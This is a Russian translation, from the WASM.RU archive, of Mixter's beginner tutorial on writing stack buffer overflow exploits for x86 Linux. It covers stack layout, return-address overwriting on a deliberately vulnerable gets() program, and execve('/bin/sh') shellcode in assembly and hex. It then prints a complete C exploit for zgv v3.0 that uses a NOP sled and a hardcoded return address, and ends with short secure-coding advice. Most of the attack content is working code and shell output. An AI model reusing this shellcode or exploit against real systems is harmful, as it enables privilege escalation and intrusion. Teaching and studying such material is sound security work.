Написание эксплойтов переполнения буфера - туториал для новичков — Архив WASM.RU

Все статьи

Написание эксплойтов переполнения буфера - туториал для новичков — Архив WASM.RU

Переполнение в буфферах стало одной из наиогромнейших проблем безопасности в сети Интернет и в современном компьютерном мире в целом. Это объясняется тем, что подобные ошибки могут легко быть допущены при самом программировании и будучи незаметными для юзера, который не понимает или не совсем разбирается в исходном коде программы, они являются очень подходящей целью для написания эксплойта. В этой статье мы попытаемся показать новичкам - Си программерам средней руки каким образом эти ошибки могут быть применены.

1. Память

На заметку: Принцип организации памяти для процессора, который я здесь объясняю, подходит для большинства компьютеров, однако он зависит от конкретной архитектуры.

В своей статье я опираюсь на семейство x86 процессоров.

Уязвимость переполнения буффера характеризуется двумя основными чертами:

  1. возможностью перезаписывания этого куска памяти своим кодом ('кодом эксплойта' - прим. переводчика), который даже и не предполагается, что юзер введет во время ввода, и
  2. возможностью запуска этого вредного кода.

Давайте обратимся к организации памяти для того чтобы понять, как и где может произойти ошибка переполнения буффера.

Страница памяти - это область памяти, которая использует свою собственную относительную адресацию, обозначающая то что Кернел выделяет инициализируемую память для текущего процесса, который в дальнейшем может к ней обратиться даже не имея понятия о ее физическом расположении в RAM. Страница памяти процесса(программы) состоит из 3х сегментов:

  • code segment: данные в этом сегменте представляют собой ассемблерные инструкции, которые выполняет процессор. Выполнение кода нелинейно, т.к. процессор может пропускать код, 'перепрыгивать его' и выполнять функции при определенных условиях. таким образом, у нас есть указатель, называемый EIP - указатель на текущую инструкцию. Адрес, на который указывает EIP всегда содержит код следующей выполняемой инструкции.
  • data segment: область переменных и динамических буфферов.
  • stack segment: используется как для передачи данных (аргументов) функциям, так и в качестве области для переменных самих функций. Низ стека (его начало) обычно расположен в самом конце виртуальной памяти страницы. Стек растет опускаясь вниз.

Ассемблерная команда PUSHL добавляет значение в вверхушку стека, а POPL забирает одно значение с верхушки стека и переносит его в регистр. Для доступа к памяти стека напрямую имеется указатель на стек EIP, который указывает на верхушку (самые нижние адреса памяти) стека.

2. Функции

Функция - это кусок кода в сегменте кода, который вызывается для выполнения определенных действий и в конце концов возвращается к инструкции следующей за его вызовом. Функции могут передаваться аргументы. В ассемблере обычно это выглядит примерно так (очень простой пример, просто для понятия самой идеи):

memory address		code
0x8054321 <main+x>	pushl $0x0
0x8054322		call $0x80543a0 <function>
0x8054327		ret
0x8054328		leave
...
0x80543a0 <function>	popl %eax
0x80543a1		addl $0x1337,%eax
0x80543a4		ret

Что здесь происходит? Главная процедура (функция) main function вызывает функцию function(0). В качестве аргумента выступает нуль, который main function забрасывает в стек через PUSHL и затем вызывает function(0). Функция получает этот аргумент из стека через POPL. После завершения своей работы она возвращается на адрес 0x8054327. Обычно main function всегда сохраняет регистр EBP в стеке, который содержит функция и восстанавливает его после своего завершения. Это концепция фреймового указателя (frame pointer), которая позволяет функции использовать свои собственные смещения для адресации, являющиеся в большинстве своих случаев неинтересными для написания эксплойтов, потому что функция может и не возвратититься к ветке программы, в которой она была вызвана. :-)

Нам всего лишь нужно иметь представление о том, что представляет из себя стек. В верхушке стека мы имеем внутренние буфферы и переменные функции. Кроме этого сюда же сохраняется и регистр EBP (32 бита, т.е. 4 байта), а также адрес возврата, который опять таки составляет 4 байта. Двигаясь дальше расположены аргументы функции, которые для нас не представляют большого интереса.

В нашем примере адрес возврата функции 0x8054327. Он автоматически сохраняется в стеке при ее вызове. Этот адрес возврата может быть перезаписан поверх и изменен таким образом, чтобы указывать на какую только нам не заблагорассудится ячейку памяти, если, конечно же, в этом коде будет найдена ошибка переполнения.

3. Пример уязвимой программы

Давайте предположим, что мы хотим найти уязвимость в такой вот функции:

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }
компилируем и дизассемблируем ее:

# cc -ggdb blah.c -o blah
/tmp/cca017401.o: в  функции `lame':
/root/blah.c:1: си-шная функция `gets' опасна и к ней не следует 
                обращаться.
# gdb blah
/* краткое объяснение: здесь применяется gdb, GNU дебаггер для чтения 
бинарника и    его дизассемблирования (перевода байтов в ассемблерный 
код) */ 
(gdb) disas main
Ассемблерный дамп функции main:
0x80484c8 <main>:       pushl  %ebp
0x80484c9 <main+1>:     movl   %esp,%ebp
0x80484cb <main+3>:     call   0x80484a0 <lame>
0x80484d0 <main+8>:     leave
0x80484d1 <main+9>:     ret

(gdb) disas lame
Ассемблерный дамп функции lame:
/* сохраняем фрейм пойнтер в стеке прямо перед адресом возврата */
0x80484a0 <lame>:       pushl  %ebp
0x80484a1 <lame+1>:     movl   %esp,%ebp
/* увеличиваем стек на 20h (32d). наш буффер - 30 символов, но память 
выделяется с 4хбайтным выравниванием (т.к. процессор использует 
32хбитные слова) это эквивалентно строчке char small[30]; */
0x80484a3 <lame+3>:     subl   $0x20,%esp
/* загружаем указатель на small[30] (пространство стека, которое 
расположено в виртуальном адресе  0xffffffe0(%ebp)) стека, и 
вызываем функцию gets: gets(small); */
0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>:     pushl  %eax
0x80484aa <lame+10>:    call   0x80483ec <gets>
0x80484af <lame+15>:    addl   $0x4,%esp
/* загружаем адрес small и адрес строки "%s\n" в стек и затем 
вызывает функцию print: printf("%s\n", small); */
0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>:    pushl  %eax
0x80484b6 <lame+22>:    pushl  $0x804852c
0x80484bb <lame+27>:    call   0x80483dc <printf>
0x80484c0 <lame+32>:    addl   $0x8,%esp
/* берем адрес возврата 0x80484d0 со стека и передаем управление 
на этот адрес*/
0x80484c3 <lame+35>:    leave
0x80484c4 <lame+36>:    ret
конец дампа. 

3a. Осуществление ошибки переполнения в программе

# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx	    <- ввод пользователя
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- ввод пользователя
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
     eax:       0x24          36
     ecx:  0x804852f   134513967
     edx:        0x1           1
     ebx:   0x11a3c8     1156040
     esp: 0xbffffdb8 -1073742408
     ebp:   0x787878     7895160 
              ^^^^^^

В EBP находится адрес 0x787878, это значит что мы записали больше данных в стек, чем буффер ввода мог вмещать. 0x78 - это шестнадцатеричное представление символа 'x'. Программа имела буффер с ограничением в 32 байта. Мы же записали больше данных в память чем было выделено для ввода юзера и ,таким образом, перезаписали EBP и адрес возврата символами 'xxxx'. Программа попыталась возвратиться на адрес 0x787878, что, конечно же, привело к ошибке сегментации.

3b. Изменение адреса возврата

Давйте попробуем сделать так, чтобы программа возвратилась в функцию lame() вместо своего return'а. Для этого нам нужно поменять адрес возврата с 0x80484d0 на 0x80484cb и это все. В памяти у нас есть: 32 байта для буффера | 4 байта под сохраненный EBP | 4 байта RET. Вот пример простой программы, которая помещает четырехбайтный адрес возврата в однобайтный буффер:

main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ЛЛЛЛЛЛЛЛЛЛЛ,

# (ret;cat)|./blah
test		 <- вводим
ЛЛЛЛЛЛЛЛЛЛЛ,test
test		 <- вводим
test

Программа пробежала по функции дважды. Если переполнение произошло, адрес возврата из функции может быть изменен для того чтобы изменить ветку выполнения программы.

4. Шеллкод

Говоря простым языком, шеллкод - это набор простых ассемблерных команд, которые мы записываем в стек и затем изменяем на него адрес возврата. Применяя этот метод мы можем вставить свой код в уязвимую программу и затем выполнить его прямо из стека.

Хм, так давайте сгенерируем вставляемый ассемблерный код для запуска шелла. Главный системный вызов - это execve(), который загружает и запускает любые бинарники, завершает выполнение текущего процесса. В мане находим пример его использования:

int  execve  (const  char  *filename, char *const argv [], char *const envp[]);

Давайте поподробней посмотрим на системный вызов из glibc2:

# gdb /lib/libc.so.6
(gdb) disas execve
Дамп функции execve:
0x5da00 <execve>:       pushl  %ebx
/*это актуальный syscall. перед обращения программы к execve, 
он сохраняет в стеке аргументы в обратном порядке:  
**envp, **argv, *filename */
/* кладём адрес **envp в edx */
0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
/* кладём адрес **argv в ecx */
0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
/* кладём адрес *filename'а в ebx */
0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
/* кладём 0xb в eax; 0xb == execve в внутреннем вызове таблицы вызова */
0x5da0d <execve+13>:    movl   $0xb,%eax
/* отдаем контроль кернелу для выполнения инструкции execve */
0x5da12 <execve+18>:    int    $0x80
0x5da14 <execve+20>:    popl   %ebx
0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
0x5da1c <execve+28>:    ret
конец дампа.

4a. портируемость кода

Мы можем применить пару хитростей чтобы сделать наш шеллкод не ссылаясь на аргументы в памяти как обычно, передавая их точные адреса в странице памяти, которые могут быть получены только во время компиляции.

Единственное, что мы можем оценить - это размер шеллкода. Для этого мы можем обратиться к инструкциям jmp <bytes> и call <bytes> чтобы перейти к определенному числу байтов назад или вперед в исполняемом процессе (программе). Зачем использовать call? Вспомните, что CALL автоматически сохраняет адрес возврата в стеке; адресом возврата являются следующие 4 байта после самой инструкции CALL. Помещая переменную прямо за CALL'ом, мы не напрямую сохраняем ее адрес в стеке даже не зная его.

0   jmp <Z>     (пропустим Z bytes по направлению вперед)
2   popl %esi
... впишем сюда нашу(и) функцию(и) ...
Z   call <-Z+2> (вернемся на 2 байта после <Z>, к инструкции POPL)
Z+5 .string     (первая переменная)

(Учтите: Если вы собираетесь писать код более сложный чем код для получения шелла, вам следует передать больше чем одну переменную .string после кода. Вы знаете размер этих строк и вы таким образом можете вычислить их относительное расположение после того как вы узнаете где находится первая строчка.)

4b. шеллкод

global code_start             /* нам понадобится это чуть позже */
global code_end
	.data
code_start:
	jmp  0x17
	popl %esi
	movl %esi,0x8(%esi)   /* положим адрес **argv после шеллкода
			       на 0x8 байт, чтобы сохранить /bin/sh */
	xorl %eax,%eax	      /* помещаем 0 в %eax */
	movb %eax,0x7(%esi)   /* помещаем 'завершающий' 0 после '/bin/sh' строчки */
	movl %eax,0xc(%esi)   /* другой 0 для получения размера long word */
my_execve:
	movb $0xb,%al		/* execve(         */
	movl %esi,%ebx		/* "/bin/sh",      */
	leal 0x8(%esi),%ecx	/* & of "/bin/sh", */
	xorl %edx,%edx		/* NULL		   */
	int $0x80		/* );		   */
	call -0x1c
	.string "/bin/shX"	/* X перезаписан movb %eax,0x7(%esi) */
code_end:

(Относительные смещения 0x17 и -0x1c можно получить при помощи помещения в 0x0, компилирования, дизассемблированием и определения размера шеллкода.)

Это уже работающий шеллкод, хотя и минимальный. Вам следует по крайней мере продизассемблировать системный вызов exit() и присоединить его (перед 'call'ом).

Настоящее искусство написания шеллкода также состоит в предотвращении попадания 'бинарных' нулей в код (очень часто применяемых для обозначения завершения ввода/буффера) и модифицировании кода таким образом чтобы его бинарная форма не содержала символы, которые могут быть отфильтрованы какими-нибудь уязвимыми программами. БОльшая часть этой работы выполняется самомодифицирующимся кодом, похожим на тот, что был у нас в инструкции movb %eax,0x7(%esi). Мы заместили X нашим \0 не имея его в исходной форме шеллкода...

Давайте протестируем этот код...сохраните код выше как code.S (убейте комментсы) и сл. файл как code.c:

extern void code_start();
extern void code_end();
#include <stdio.h>
main() { ((void (*)(void)) code_start)(); }

# cc -o code code.S code.c
# ./code
bash#

Теперь Вы можете конвертировать этот код в буффер 16иричных символов. Лучше всего сделать это, напечатав что-то вроде этого:

#include <stdio.h>
extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }

и пропарсить это через aconv -h or bin2c.pl (эти тулзы можно взять здесь:http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity)

5. Написание эксплойта

Давайте взглянем на то, каким образом мы можем подменить адрес возврата чтобы он указывал на наш шеллкод помещенный в стек и затем напишем пример эксплойта. Мы возьмем zgv, т.к. он - очень простая штуковина, подверженная эксплойтингу. :)

# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0  0x61616161 in ?? ()
(gdb) info register esp
     esp: 0xbffff574 -1073744524

Чтож, это верхушка стека во время крушения. Безопасно предположить, что мы можем использовать его в качестве адреса возврата на наш шеллкод.

Мы добавим несколько NOP инструкций перед нашим буффером, т.к. мы не можем полностью быть уверенными в 100%-ной корректности угадывания адреса точного начала нашего шеллкода в памяти (или даже пробрутфорсив его). Функция возвратится в стековое пространство куда-то после шеллкода, пробежится поо NOP'ам к начальному JMP'у, прыгнет на CALL, прыгнет назад к POPL и запустит наш код в стеке.

Помните что такое стек: нижние адреса памяти, верхушка с указанием на нее ESP, начальные переменные и буфер в zgv, который содержит переменную HOME environment.

После этого мы имеем сохраненный EBP (4 байта) и адрес возврата предыдущей инструкции. Мы должны записать 8 байт или больше после буффера для того чтобы перезаписать адрес возврата своим новым адресом в стеке.

Буффер у zgv - 1024 байта. Вы можете выяснить это глянув на код или просто поискав начальную инструкцию subl $0x400,%esp (=1024) в уязвимой функции. Сейчас мы соединим все эти части вместе:

5a. Sample zgv exploit

/*                   zgv v3.0 exploit by Mixter
          buffer overflow tutorial - http://1337.tsx.org

        sample exploit, works for example with precompiled
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* This is the minimal shellcode from the tutorial */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90
#define LEN     1032
#define RET     0xbffff574

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

/* this fills the whole buffer with the return address, see 3b) */
for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;

/* this fills the initial buffer with NOP's, 100 chars less than the
   buffer size, so the shellcode and return address fits in comfortably */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

/* after the end of the NOPs, we copy in the execve() shellcode */
memcpy(buffer+i,shellcode,strlen(shellcode));

/* export the variable, run zgv */

setenv("HOME", buffer, 1);
execlp("zgv","zgv",NULL);
return 0;
}

/* EOF */

Теперь у нас есть строка вида:

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]

В то время как стэк zgv'а выглядит так:

v-- 0xbffff574 is here
[     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]

Выполняющаяся ветка zgv сейчас выглядит так:

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));

В этом месте zgv падает и не делает проверку на лимит, пишет за SMALLBUFFER'ом и адрес возврата в main перезаписывается адресом возврата в стэк. Функция function() возвращается и EIP теперь указывает на стэк:

0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24                     1
0xbffff579 popl %esi          3 <--\     |
[... здесь стартует шеллкод ...]    |    |
0xbffff59b call -$0x1c             2 <--/
0xbffff59e .string "/bin/shX"

Протестируем эксплойт...

# cc -o zgx zgx.c
# ./zgx
используемый адрес: 0xbffff574
bash#

5b. советы по написанию эксплойтов

Существуют другие техники переполнения, которые необязательно включают изменение адреса возврата. Также существуют так называемые переполнения указателей (pointer overflows), в которых указатель, который находится в функции может быть перезаписан, тем самым приводя к изменению логики программы (пример: the RoTShB bind 4.9 exploit), эксплойты, в которых адрес возврата указывает на указатель окружения шелла, в котором расположен шеллкод (вместо своего расположения в стеке).

Другим важным предметом опытных писателей шеллкодов является самомодифицирующийся код, который изначально состоит только из печатных символов, заглавных букв и без пробелов и затем изменяет себя, вписывая в стек свой шеллкод, который он и запускает, итд.

Следите за тем, чтобы ваш шеллкод не содержал 'бинарных' нулей, т.к. в ином случае в большинстве случаев он не будет работать.

5c. окончание

Почему это так важно писать эксплойты? Потому что незнание всезнающе ('интересная мысль' - прим. переводчика) в индустрии софтвэйра. Уже были представлены сообщения об уязвимостях, приводящих к переполнению буфферов в ПО т.к. софт не обновлялся или по причине того, что большинство пользователей не уделяло внимание этим апдейтам или по причине того, что уязвимость было сложно обнаружить и мало кто понимал, что она представляет большую проблему безопасности.

Если Вы - программер, то к своему делу нужно относиться очень серьезно, особенно при написании программ-серверов, программ по безопасности, программ, использующих suid root или написанных для запуска с его привилегиями. Применяйте strn*, sn* функции вместо sprintf итд. Старайтесь применять размещение буфферов динамического или зависящего от ввода размера, будьте осторожны в for/while/и др циклах, в которых данные загоняются в буфферы и относитесь к вводу пользователя с наибольшей осторожностью.

В индустрии по безопасности были предприняты попытки предотвратить проблемы переполнения при помощи использования техник, таких как 'non-executable stack', 'suid wrappers', 'guard programms', которые проверяли адрес возврата, компилеров, проверяющих размер переданных аргументов итд. Вам следует использовать эти техники там где это возможно, но не стоит полностью на них полагаться. Если вы полагаете что вы в полной безопасности, сидя за 2хлетним UNIX дистрибутивом без апдейтов, но используя защиту от переполнения или (что более идиотски) файрвол/IDS, то все это не может уверить вас в полной безопасности.

Если вы регулярно апдейтите софт, вы все еще не можете быть уверены в безопасности, но вы можете уже надеяться:-)

(оригинал: Mixter)

(перевод: varnie 25.01.05)

2002-2013 (c) wasm.ru